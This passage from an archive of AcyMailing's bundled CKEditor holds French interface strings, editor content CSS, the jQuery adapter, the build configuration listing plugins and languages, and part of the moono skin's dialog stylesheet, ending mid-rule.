style","width":"Largeur","height":"Hauteur","align":"Alignement","alignLeft":"Gauche","alignRight":"Droite","alignCenter":"Centré","alignJustify":"Justifier","alignTop":"Haut","alignMiddle":"Milieu","alignBottom":"Bas","alignNone":"Aucun","invalidValue":"Valeur incorrecte.","invalidHeight":"La hauteur doit être un nombre.","invalidWidth":"La largeur doit être un nombre.","invalidCssLength":"La valeur spécifiée pour le champ \"%1\" doit être un nombre positif avec ou sans unité de mesure CSS valide (px, %, in, cm, mm, em, ex, pt, ou pc).","invalidHtmlLength":"La valeur spécifiée pour le champ \"%1\" doit être un nombre positif avec ou sans unité de mesure HTML valide (px ou %).","invalidInlineStyle":"La valeur spécifiée pour le style inline doit être composée d'un ou plusieurs couples de valeur au format \"nom : valeur\", separés par des points-virgules.","cssLengthTooltip":"Entrer un nombre pour une valeur en pixels ou un nombre avec une unité de mesure CSS valide (px, %, in, cm, mm, em, ex, pt, ou pc).","unavailable":"%1<span class=\"cke_accessibility\">, Indisponible</span>"},"basicstyles":{"bold":"Gras","italic":"Italique","strike":"Barré","subscript":"Indice","superscript":"Exposant","underline":"Souligné"},"blockquote":{"toolbar":"Citation"},"clipboard":{"copy":"Copier","copyError":"Les paramètres de sécurité de votre navigateur ne permettent pas à l'éditeur d'exécuter automatiquement des opérations de copie. Veuillez utiliser le raccourci clavier (Ctrl/Cmd+C).","cut":"Couper","cutError":"Les paramètres de sécurité de votre navigateur ne permettent pas à l'éditeur d'exécuter automatiquement l'opération \"couper\". Veuillez utiliser le raccourci clavier (Ctrl/Cmd+X).","paste":"Coller","pasteArea":"Coller la zone","pasteMsg":"Veuillez coller le texte dans la zone suivante en utilisant le raccourci clavier (<strong>Ctrl/Cmd+V</strong>) et cliquez sur OK.","securityMsg":"A cause des paramètres de sécurité de votre navigateur, l'éditeur n'est pas en mesure d'accéder directement à vos données contenues dans le presse-papier. Vous devriez réessayer de coller les données dans la fenêtre.","title":"Coller"},"button":{"selectedLabel":"%1 (Sélectionné)"},"colorbutton":{"auto":"Automatique","bgColorTitle":"Couleur d'arrière plan","colors":{"000":"Noir","800000":"Marron","8B4513":"Brun moyen","2F4F4F":"Vert sombre","008080":"Canard","000080":"Bleu marine","4B0082":"Indigo","696969":"Gris foncé","B22222":"Rouge brique","A52A2A":"Brun","DAA520":"Or terni","006400":"Vert foncé","40E0D0":"Turquoise","0000CD":"Bleu royal","800080":"Pourpre","808080":"Gris","F00":"Rouge","FF8C00":"Orange foncé","FFD700":"Or","008000":"Vert","0FF":"Cyan","00F":"Bleu","EE82EE":"Violet","A9A9A9":"Gris moyen","FFA07A":"Saumon","FFA500":"Orange","FFFF00":"Jaune","00FF00":"Lime","AFEEEE":"Turquoise clair","ADD8E6":"Bleu clair","DDA0DD":"Prune","D3D3D3":"Gris clair","FFF0F5":"Fard Lavande","FAEBD7":"Blanc antique","FFFFE0":"Jaune clair","F0FFF0":"Honeydew","F0FFFF":"Azur","F0F8FF":"Bleu Alice","E6E6FA":"Lavande","FFF":"Blanc"},"more":"Plus de couleurs...","panelTitle":"Couleurs","textColorTitle":"Couleur de texte"},"colordialog":{"clear":"Effacer","highlight":"Détails","options":"Option des couleurs","selected":"Couleur choisie","title":"Choisir une couleur"},"contextmenu":{"options":"Options du menu contextuel"},"elementspath":{"eleLabel":"Elements path","eleTitle":"%1 éléments"},"font":{"fontSize":{"label":"Taille","voiceLabel":"Taille de police","panelTitle":"Taille de police"},"label":"Police","panelTitle":"Style de police","voiceLabel":"Police"},"format":{"label":"Format","panelTitle":"Format de paragraphe","tag_address":"Adresse","tag_div":"Normal (DIV)","tag_h1":"Titre 1","tag_h2":"Titre 2","tag_h3":"Titre 3","tag_h4":"Titre 4","tag_h5":"Titre 5","tag_h6":"Titre 6","tag_p":"Normal","tag_pre":"Formaté"},"horizontalrule":{"toolbar":"Ligne horizontale"},"image":{"alertUrl":"Veuillez entrer l'adresse de l'image","alt":"Texte de remplacement","border":"Bordure","btnUpload":"Envoyer sur le serveur","button2Img":"Voulez-vous transformer le bouton image sélectionné en simple image?","hSpace":"Espacement horizontal","img2Button":"Voulez-vous transformer l'image en bouton image?","infoTab":"Informations sur l'image","linkTab":"Lien","lockRatio":"Conserver les proportions","menu":"Propriétés de l'image","resetSize":"Taille d'origine","title":"Propriétés de l'image","titleButton":"Propriétés du bouton image","upload":"Envoyer","urlMissing":"L'adresse source de l'image est manquante.","vSpace":"Espacement vertical","validateBorder":"Bordure doit être un entier.","validateHSpace":"HSpace doit être un entier.","validateVSpace":"VSpace doit être un entier."},"indent":{"indent":"Augmenter le retrait (tabulation)","outdent":"Diminuer le retrait (tabulation)"},"justify":{"block":"Justifier","center":"Centrer","left":"Aligner à gauche","right":"Aligner à droite"},"fakeobjects":{"anchor":"Ancre","flash":"Animation Flash","hiddenfield":"Champ caché","iframe":"IFrame","unknown":"Objet inconnu"},"link":{"acccessKey":"Touche d'accessibilité","advanced":"Avancé","advisoryContentType":"Type de contenu (ex: text/html)","advisoryTitle":"Description (title)","anchor":{"toolbar":"Ancre","menu":"Editer l'ancre","title":"Propriétés de l'ancre","name":"Nom de l'ancre","errorName":"Veuillez entrer le nom de l'ancre.","remove":"Supprimer l'ancre"},"anchorId":"Par ID d'élément","anchorName":"Par nom d'ancre","charset":"Charset de la cible","cssClasses":"Classe CSS","emailAddress":"Adresse E-Mail","emailBody":"Corps du message","emailSubject":"Sujet du message","id":"Id","info":"Infos sur le lien","langCode":"Code de langue","langDir":"Sens d'écriture","langDirLTR":"Gauche à droite","langDirRTL":"Droite à gauche","menu":"Editer le lien","name":"Nom","noAnchors":"(Aucune ancre disponible dans ce document)","noEmail":"Veuillez entrer l'adresse e-mail","noUrl":"Veuillez entrer l'adresse du lien","other":"<autre>","popupDependent":"Dépendante (Netscape)","popupFeatures":"Options de la fenêtre popup","popupFullScreen":"Plein écran (IE)","popupLeft":"Position gauche","popupLocationBar":"Barre d'adresse","popupMenuBar":"Barre de menu","popupResizable":"Redimensionnable","popupScrollBars":"Barres de défilement","popupStatusBar":"Barre de status","popupToolbar":"Barre d'outils","popupTop":"Position haute","rel":"Relation","selectAnchor":"Sélectionner l'ancre","styles":"Style","tabIndex":"Index de tabulation","target":"Cible","targetFrame":"<cadre>","targetFrameName":"Nom du Cadre destination","targetPopup":"<fenêtre popup>","targetPopupName":"Nom de la fenêtre popup","title":"Lien","toAnchor":"Ancre","toEmail":"E-mail","toUrl":"URL","toolbar":"Lien","type":"Type de lien","unlink":"Supprimer le lien","upload":"Envoyer"},"list":{"bulletedlist":"Insérer/Supprimer la liste à puces","numberedlist":"Insérer/Supprimer la liste numérotée"},"maximize":{"maximize":"Agrandir","minimize":"Minimiser"},"pastefromword":{"confirmCleanup":"Le texte à coller semble provenir de Word. Désirez-vous le nettoyer avant de coller?","error":"Il n'a pas été possible de nettoyer les données collées à la suite d'une erreur interne.","title":"Coller depuis Word","toolbar":"Coller depuis Word"},"pastetext":{"button":"Coller comme texte sans mise en forme","title":"Coller comme texte sans mise en forme"},"removeformat":{"toolbar":"Supprimer la mise en forme"},"sourcearea":{"toolbar":"Source"},"stylescombo":{"label":"Styles","panelTitle":"Styles de mise en page","panelTitle1":"Styles de blocs","panelTitle2":"Styles en ligne","panelTitle3":"Styles d'objet"},"table":{"border":"Taille de la bordure","caption":"Titre du tableau","cell":{"menu":"Cellule","insertBefore":"Insérer une cellule avant","insertAfter":"Insérer une cellule après","deleteCell":"Supprimer les cellules","merge":"Fusionner les cellules","mergeRight":"Fusionner à droite","mergeDown":"Fusionner en bas","splitHorizontal":"Fractionner horizontalement","splitVertical":"Fractionner verticalement","title":"Propriétés de la cellule","cellType":"Type de cellule","rowSpan":"Fusion de lignes","colSpan":"Fusion de colonnes","wordWrap":"Césure","hAlign":"Alignement Horizontal","vAlign":"Alignement Vertical","alignBaseline":"Bas du texte","bgColor":"Couleur d'arrière-plan","borderColor":"Couleur de Bordure","data":"Données","header":"Entête","yes":"Oui","no":"Non","invalidWidth":"La Largeur de Cellule doit être un nombre.","invalidHeight":"La Hauteur de Cellule doit être un nombre.","invalidRowSpan":"La fusion de lignes doit être un nombre entier.","invalidColSpan":"La fusion de colonnes doit être un nombre entier.","chooseColor":"Choisissez"},"cellPad":"Marge interne des cellules","cellSpace":"Espacement des cellules","column":{"menu":"Colonnes","insertBefore":"Insérer une colonne avant","insertAfter":"Insérer une colonne après","deleteColumn":"Supprimer les colonnes"},"columns":"Colonnes","deleteTable":"Supprimer le tableau","headers":"En-Têtes","headersBoth":"Les deux","headersColumn":"Première colonne","headersNone":"Aucunes","headersRow":"Première ligne","invalidBorder":"La taille de la bordure doit être un nombre.","invalidCellPadding":"La marge intérieure des cellules doit être un nombre positif.","invalidCellSpacing":"L'espacement des cellules doit être un nombre positif.","invalidCols":"Le nombre de colonnes doit être supérieur à 0.","invalidHeight":"La hauteur du tableau doit être un nombre.","invalidRows":"Le nombre de lignes doit être supérieur à 0.","invalidWidth":"La largeur du tableau doit être un nombre.","menu":"Propriétés du tableau","row":{"menu":"Ligne","insertBefore":"Insérer une ligne avant","insertAfter":"Insérer une ligne après","deleteRow":"Supprimer les lignes"},"rows":"Lignes","summary":"Résumé (description)","title":"Propriétés du tableau","toolbar":"Tableau","widthPc":"% pourcents","widthPx":"pixels","widthUnit":"unité de largeur"},"toolbar":{"toolbarCollapse":"Enrouler la barre d'outils","toolbarExpand":"Dérouler la barre d'outils","toolbarGroups":{"document":"Document","clipboard":"Presse-papier/Défaire","editing":"Editer","forms":"Formulaires","basicstyles":"Styles de base","paragraph":"Paragraphe","links":"Liens","insert":"Insérer","styles":"Styles","colors":"Couleurs","tools":"Outils"},"toolbars":"Barre d'outils de l'éditeur"},"undo":{"redo":"Rétablir","undo":"Annuler"},"sourcedialog":{"toolbar":"Source","title":"Source"},"acymediabrowser":{"toolbar":"Images"},"addtag":{"toolbar":"Balises"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/contents.css000060400000002676152455305310024444 0ustar00
body
{
	font-family: sans-serif, Arial, Verdana, "Trebuchet MS";
	font-size: 12px;

	color: #333;

	background-color: #fff;

	margin: 20px;
}

.cke_editable
{
	font-size: 13px;
	line-height: 1.6;
}

blockquote
{
	font-style: italic;
	font-family: Georgia, Times, "Times New Roman", serif;
	padding: 2px 0;
	border-style: solid;
	border-color: #ccc;
	border-width: 0;
}

.cke_contents_ltr blockquote
{
	padding-left: 20px;
	padding-right: 8px;
	border-left-width: 5px;
}

.cke_contents_rtl blockquote
{
	padding-left: 8px;
	padding-right: 20px;
	border-right-width: 5px;
}

a
{
	color: #0782C1;
}

ol,ul,dl
{
	*margin-right: 0px;
	padding: 0 40px;
}

h1,h2,h3,h4,h5,h6
{
	font-weight: normal;
	line-height: 1.2;
}

hr
{
	border: 0px;
	border-top: 1px solid #ccc;
}

img.right
{
	border: 1px solid #ccc;
	float: right;
	margin-left: 15px;
	padding: 5px;
}

img.left
{
	border: 1px solid #ccc;
	float: left;
	margin-right: 15px;
	padding: 5px;
}

pre
{
	white-space: pre-wrap; 	word-wrap: break-word; 	-moz-tab-size: 4;
	-o-tab-size: 4;
	-webkit-tab-size: 4;
	tab-size: 4;
}

.marker
{
	background-color: Yellow;
}

span[lang]
{
	font-style: italic;
}

figure
{
	text-align: center;
	border: solid 1px #ccc;
	border-radius: 2px;
	background: rgba(0,0,0,0.05);
	padding: 10px;
	margin: 10px 20px;
	display: inline-block;
}

figure > figcaption
{
	text-align: center;
	display: block; }

a > img {
	padding: 1px;
	margin: 1px;
	border: none;
	outline: 1px solid #0782C1;
}

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/index.html000060400000000054152455305310024056 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/adapters/jquery.js000060400000005447152455305310025554 0ustar00(function(a){CKEDITOR.config.jqueryOverrideVal="undefined"==typeof CKEDITOR.config.jqueryOverrideVal?!0:CKEDITOR.config.jqueryOverrideVal;"undefined"!=typeof a&&(a.extend(a.fn,{ckeditorGet:function(){var a=this.eq(0).data("ckeditorInstance");if(!a)throw"CKEditor is not initialized yet, use ckeditor() with a callback.";return a},ckeditor:function(g,d){if(!CKEDITOR.env.isCompatible)throw Error("The environment is incompatible.");if(!a.isFunction(g))var k=d,d=g,g=k;var i=[],d=d||{};this.each(function(){var b=
a(this),c=b.data("ckeditorInstance"),f=b.data("_ckeditorInstanceLock"),h=this,j=new a.Deferred;i.push(j.promise());if(c&&!f)g&&g.apply(c,[this]),j.resolve();else if(f)c.once("instanceReady",function(){setTimeout(function(){c.element?(c.element.$==h&&g&&g.apply(c,[h]),j.resolve()):setTimeout(arguments.callee,100)},0)},null,null,9999);else{if(d.autoUpdateElement||"undefined"==typeof d.autoUpdateElement&&CKEDITOR.config.autoUpdateElement)d.autoUpdateElementJquery=!0;d.autoUpdateElement=!1;b.data("_ckeditorInstanceLock",
!0);c=a(this).is("textarea")?CKEDITOR.replace(h,d):CKEDITOR.inline(h,d);b.data("ckeditorInstance",c);c.on("instanceReady",function(d){var e=d.editor;setTimeout(function(){if(e.element){d.removeListener();e.on("dataReady",function(){b.trigger("dataReady.ckeditor",[e])});e.on("setData",function(a){b.trigger("setData.ckeditor",[e,a.data])});e.on("getData",function(a){b.trigger("getData.ckeditor",[e,a.data])},999);e.on("destroy",function(){b.trigger("destroy.ckeditor",[e])});e.on("save",function(){a(h.form).submit();
return!1},null,null,20);if(e.config.autoUpdateElementJquery&&b.is("textarea")&&a(h.form).length){var c=function(){b.ckeditor(function(){e.updateElement()})};a(h.form).submit(c);a(h.form).bind("form-pre-serialize",c);b.bind("destroy.ckeditor",function(){a(h.form).unbind("submit",c);a(h.form).unbind("form-pre-serialize",c)})}e.on("destroy",function(){b.removeData("ckeditorInstance")});b.removeData("_ckeditorInstanceLock");b.trigger("instanceReady.ckeditor",[e]);g&&g.apply(e,[h]);j.resolve()}else setTimeout(arguments.callee,
100)},0)},null,null,9999)}});var f=new a.Deferred;this.promise=f.promise();a.when.apply(this,i).then(function(){f.resolve()});this.editor=this.eq(0).data("ckeditorInstance");return this}}),CKEDITOR.config.jqueryOverrideVal&&(a.fn.val=CKEDITOR.tools.override(a.fn.val,function(g){return function(d){if(arguments.length){var k=this,i=[],f=this.each(function(){var b=a(this),c=b.data("ckeditorInstance");if(b.is("textarea")&&c){var f=new a.Deferred;c.setData(d,function(){f.resolve()});i.push(f.promise());
return!0}return g.call(b,d)});if(i.length){var b=new a.Deferred;a.when.apply(this,i).done(function(){b.resolveWith(k)});return b.promise()}return f}var f=a(this).eq(0),c=f.data("ckeditorInstance");return f.is("textarea")&&c?c.getData():g.call(f)}})))})(window.jQuery);
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/adapters/index.html000060400000000054152455305310025661 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/build-config.js000060400000002257152455305310024770 0ustar00

var CKBUILDER_CONFIG = {
	skin: 'moono',
	preset: 'standard',
	ignore: [
		'.bender',
		'bender.js',
		'bender-err.log',
		'bender-out.log',
		'dev',
		'.DS_Store',
		'.editorconfig',
		'.gitattributes',
		'.gitignore',
		'gruntfile.js',
		'.idea',
		'.jscsrc',
		'.jshintignore',
		'.jshintrc',
		'.mailmap',
		'node_modules',
		'package.json',
		'README.md',
		'tests'
	],
	plugins : {
		'basicstyles' : 1,
		'blockquote' : 1,
		'clipboard' : 1,
		'colorbutton' : 1,
		'colordialog' : 1,
		'contextmenu' : 1,
		'elementspath' : 1,
		'enterkey' : 1,
		'entities' : 1,
		'filebrowser' : 1,
		'floatingspace' : 1,
		'font' : 1,
		'format' : 1,
		'horizontalrule' : 1,
		'htmlwriter' : 1,
		'image' : 1,
		'indentlist' : 1,
		'justify' : 1,
		'link' : 1,
		'list' : 1,
		'maximize' : 1,
		'pastefromword' : 1,
		'pastetext' : 1,
		'removeformat' : 1,
		'resize' : 1,
		'sharedspace' : 1,
		'sourcearea' : 1,
		'sourcedialog' : 1,
		'stylescombo' : 1,
		'stylesheetparser' : 1,
		'tab' : 1,
		'table' : 1,
		'tabletools' : 1,
		'toolbar' : 1,
		'undo' : 1,
		'wysiwygarea' : 1
	},
	languages : {
		'de' : 1,
		'en' : 1,
		'es' : 1,
		'fr' : 1,
		'it' : 1,
		'nl' : 1,
		'pt-br' : 1,
		'ru' : 1
	}
};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/index.html000060400000000054152455305310025205 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/dialog_ie.css000060400000040473152455305310026776 0ustar00.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px 